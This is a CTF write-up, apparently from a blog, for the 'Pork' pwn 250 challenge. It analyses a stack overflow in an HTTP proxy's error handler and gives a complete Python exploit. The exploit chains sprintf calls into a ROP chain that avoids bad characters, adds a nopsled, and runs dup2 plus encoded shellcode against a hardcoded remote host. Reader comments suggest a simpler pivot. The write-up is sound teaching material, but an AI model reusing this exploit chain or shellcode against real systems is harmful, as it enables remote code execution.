FR EN

Pork - pwn 250

<< Ropasaurusrex - pwn 200

Servr - pwn 400 >>

Pork is an x86 ELF, non stripped, compiled with stackexec. It provides an HTTP proxy on port 33227. There is a first read() call within the main function after the listen/accept/fork/dropprivs stuff:

	bzero(&read_buffer, 0x1000u);
	bzero(&method, 0x400u);
	bzero(&url, 0x800u);
	bzero(&http_version, 0x400u);
	read(v19, &read_buffer, 0x800u);
	if ( __isoc99_sscanf(&read_buffer, "%s http://%s %s", &method, &url, &http_version) > 2 )

Each one of these buffers are on the stack. We see there is an overflow possibility on method and http_version. However for method, there is a strcmp("GET") following immediatly after, and overflowing http_version would just overwrite method. Moreover, those two buffers are not used thereafter.

Then, the program discards HTTP headers line by line (1024 chars max) until it founds an empty CRLF line, and calls serve() with the socket and &url as parameters. serve() parses the URL to get the hostname/port couple, performs the HTTP request and echoes the result. If the domain name cannot be resolved (error in gethostbyname), clienterror("404", "Not found", "Could not find DNS entry for %s"%(hostname)) is called.

void clienterror(int fd, char * error_code, char * error_reason, char * details) {
	char buf1; // [bp-458h]
	char buf2; // [bp-58h]

	sprintf(&buf1, "<html><title>%s %s</title>", error_code, error_reason);
	sprintf(&buf1, "%s<body><h1>%s</h1>\r\n", &buf1, error_reason);
	sprintf(&buf1, "%s<p>%s</p>\r\n", &buf1, details);
	sprintf(&buf1, "%s</body></html>\r\n", &buf1);

	sprintf(&buf2, "HTTP/1.0 %s %s\r\n", error_code, error_reason); v5 = strlen(&buf2);
	write(fd, &buf2, v5);
	memcpy(&buf2, "Content-type: text/html\r\n", 0x1Au);
	v6 = strlen(&buf2);
	write(fd, &buf2, v6);
	v7 = strlen(&buf1);
	sprintf(&buf2, "Content-length: %d\r\n\r\n", v7);
	v8 = strlen(&buf2);
	write(fd, &buf2, v8);
	v9 = strlen(&buf1);
	write(fd, &buf1, v9);
	close(fd);
}

We control details, which has a maximum length of roughly 0x800 (a bit less than 0x800 max for the first sscanf, to which is prefixed "Could not..."). As the stack buffer (buf1) is only 0x458 long, we have a pretty large overflow under the return address. However, we cannot use one of '\x00\x09\x0a\x0c\x20\x2f\x3a\x2f' in our input, some because they are scanf delimiters, some because they are URL delimiters. Moreover, what lies after our overflow is also overwritten by HTML junk. This means that we cannot simply leak addresses or do a 2 stage exploitation, as we cannot perform send() or recv() with correct descriptors.

The executable is stackexec, so the first possibility is to bruteforce the stack address, we 2 nopsled+shellcode both before and after the return address (~0x1000 bytes steps). In ropasaurus we saw that the machines were actually x64, so the stack addresses would go from ~ 0xff600000 to 0xffff0000 for a 32-bit process. Remotely, this means a ~20mn exploit.

A second possiblity is to find a ret2libc that does not use null bytes to copy a and execute a shellcode onto the bss. This is possible with sprintf, as long as we fulfill 3 conditions: we can find each bytes of the shellcode at a fixed address, we have enough space for the rop chain to copy them all, the addresses don't use any of the chars '\x00\x09\x0a\x0c\x20\x2f\x3a\x2f'. For the shellcode, we just need to place a normal shellcode on the stack, and a tiny bytecode on the bss that returns a bit higher onto the stack (or lower if we place the shellcode before the return address). For instance:

BITS 32

mov eax, esp
add ax, 0x0101
push eax
ret

So, if we can find the bytes of this small bytecode, copy in the bss by chaining sprintfs on addresses that do not contain forbidden chars and return into the bss, we win. And winning we do:

#!/usr/bin/python

import sys
import socket
import struct

HOST ="54.235.20.205"
PORT = 33227

def check_str(s):
	for forbid in '\x00\x0a\x09\x20\x3a\x2f\x0c':
		if forbid in s:
			return False
	return True

#bytecodes
dup_4 = "\x31\xc0\x31\xdb\x31\xc9\x80\xc1\x03\x80\xc3\x04\xfe\xc9\xb0\x3f\xcd\x80\xfe\xc1\xe2\xf6"
active_part = "\xdb\xd9\xd9\x74\x24\xf4\xba\x86\xa4\xa4\x6a\x5e\x31\xc9" + \
"\xb1\x0e\x31\x56\x17\x03\x56\x17\x83\x40\xa0\x46\x9f\x26" + \
"\xa2\xde\xf9\xe4\xd2\xb6\xd4\x6b\x92\xa0\x4f\x44\xd7\x46" + \
"\x90\xf2\x38\xf5\xf9\x6c\xce\x1a\xab\x98\xc1\xdc\x4c\x58" + \
"\x81\xbd\x38\x78\x6a\x56\xae\x15\x11\x89\x40\x8a\xab\xbe" + \
"\x8f\x7e\x4c\x16\x83\xf7\xad\x55\xa3"
jmptostack = "\x89\xe0\x66\x05\x01\x01\x50\xc3\x00"
shellcode = dup_4 + active_part

# elf vars
bss_buf = 0x0804ad3b # does not contain forbidden char
sprintf_plt = 0x804887c
pop3ret = 0x80499a6
exe_offset = 0x08048000
some_valid_addr = 0x0804ad01
alph_exe = {}
f = open(sys.argv[1], "r")
exedata = f.read()
f.close()
for c in range(0,256):
	for i in range(0, len(exedata)):
		if exedata[i] == chr(c) and check_str(struct.pack("<I", exe_offset + i)):
			alph_exe[chr(c)] = exe_offset + i
			break


if not check_str(shellcode):
print "[-] Bad chars in shellcode"
sys.exit(1)

s = socket.socket()
s.connect((HOST, PORT))
base = "GET http://%s A"
maxlen = 0x800 - len(base) + 2

payload = 'A'*1024 + struct.pack("<I", pop3ret) + struct.pack("<I", some_valid_addr)*3 

for i in range(0,len(jmptostack)):
	payload += ''.join([struct.pack("<I", x) for x in [sprintf_plt, pop3ret+1, bss_buf + i, alph_exe[jmptostack[i]]]])
	payload += struct.pack("<I", bss_buf)

nopsled = maxlen - len(payload) - len(shellcode)
if nopsled < 0:
	print "[-] Rop chain too long"
	sys.exit(1)
payload += '\x90'*nopsled + shellcode

s.sendall(base%(payload))
s.sendall("\r\n")
while 1:
	x = s.recv(1024)
	if not x:
		break
	print x
	s.close()

The flag is pretty ironic for whoever looked into the servr chall: http_m3ans_w3b_amirite.

<< Ropasaurusrex - pwn 200

Servr - pwn 400 >>

2 messages

  1. FrizN 24/04/13 09:17

    Totally, tiredness tends to make me search for way too complicated things :) Thanks for sharing

  2. k3rensk1 23/04/13 22:37

    This is pretty nice I really learned a lot from this solution. Very nice. However, you could've saved yourself some time by closely looking at the disassembly. There is a copy of the data you send at a higher address on the stack than the address you are overflowing at. Essentially, by the time you trigger the overflow the stack roughly looks like this:

    [oflowbuf][ret][other_data][oflowbuf]
    lower address.............higher address

    so by it is possible to just use a `add esp, Number; ret`